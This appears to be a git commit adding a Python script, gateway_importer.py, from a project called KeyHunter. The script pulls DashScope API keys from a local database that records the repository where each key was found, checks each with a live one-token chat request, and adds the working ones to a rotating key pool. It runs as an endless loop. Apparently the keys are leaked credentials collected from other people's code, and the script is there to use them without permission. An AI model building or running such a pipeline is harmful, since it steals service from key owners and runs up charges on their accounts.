KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)

This commit is contained in:
2026-10-20 07:50:07 +00:00
commit a5008d837b
178 changed files with 36909 additions and 0 deletions

108
gateway_importer.py Executable file
View File

@@ -0,0 +1,108 @@
#!/usr/bin/env python3
"""gateway_importer.py — eternal lane: keys.db (KeyHunter) -> dashscope rotator pool.
Every cycle:
1. Pull WORKING/FREE/LIMITED DASHSCOPE keys from keys.db
2. Smoke-test new candidates (1-token chat) before import
3. Dedup, atomic-write into dashscope_keys.json
4. Rotator hot-reloads by mtime (no restart needed)
Run: python gateway_importer.py >> gateway_importer.log 2>&1
"""
import json
import os
import sqlite3
import sys
import time
import requests
KEYS_DB = r"C:/Users/User/Desktop/keyhunter/data/keys.db"
POOL_PATH = r"C:/Users/User/.omp/agent/dashscope_keys.json"
INTERVAL = 120 # seconds between cycles
BASE = "https://dashscope.aliyuncs.com/compatible-mode/v1"
GOOD_STATUS = ("WORKING", "FREE", "LIMITED")
STALE_DAYS = 30 # skip keys not seen recently
def log(msg: str) -> None:
print(f"{time.strftime('%H:%M:%S')} {msg}", flush=True)
def load_pool() -> dict:
try:
with open(POOL_PATH, encoding="utf-8-sig") as f:
return json.load(f)
except Exception:
return {"keys": []}
def save_pool(cfg: dict) -> None:
tmp = POOL_PATH + ".importer.tmp"
with open(tmp, "w", encoding="utf-8") as f:
json.dump(cfg, f, indent=2, ensure_ascii=False)
f.write("\n")
os.replace(tmp, POOL_PATH)
def fetch_candidates() -> list[tuple]:
db = sqlite3.connect(f"file:{KEYS_DB}?mode=ro", uri=True)
try:
rows = db.execute(
"""SELECT val, status, found, repo FROM keys
WHERE prov = 'DASHSCOPE'
AND status IN ('WORKING','FREE','LIMITED')
AND val LIKE 'sk-%'
AND found >= datetime('now', ?)""",
(f"-{STALE_DAYS} days",),
).fetchall()
finally:
db.close()
return rows
def smoke(key: str) -> bool:
try:
r = requests.post(
BASE + "/chat/completions",
headers={"Authorization": f"Bearer {key}"},
json={"model": "qwen3.8-flash", "messages": [{"role": "user", "content": "hi"}], "max_tokens": 1},
timeout=25,
)
return r.status_code == 200
except Exception:
return False
def main() -> None:
log(f"[importer] start: db={KEYS_DB} pool={POOL_PATH}")
while True:
try:
cfg = load_pool()
pool_keys = set(cfg.get("keys") or [])
rows = fetch_candidates()
fresh = [(v, s, rep) for v, s, f, rep in rows if v not in pool_keys]
log(f"[importer] candidates={len(rows)} new={len(fresh)} pool={len(pool_keys)}")
added = 0
for val, status, repo in fresh:
if smoke(val):
cfg.setdefault("keys", []).append(val)
pool_keys.add(val)
added += 1
log(f"[importer] + {val[:14]}... ({status}) src={str(repo)[:40]}")
save_pool(cfg) # save immediately: rotator picks up per key
time.sleep(2)
else:
log(f"[importer] skip (smoke fail) {val[:14]}...")
if added:
log(f"[importer] pushed {added} keys -> pool={len(pool_keys)} (rotator hot-reload by mtime)")
except Exception as e:
log(f"[importer] ERROR {e!r}")
time.sleep(INTERVAL)
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
sys.exit(0)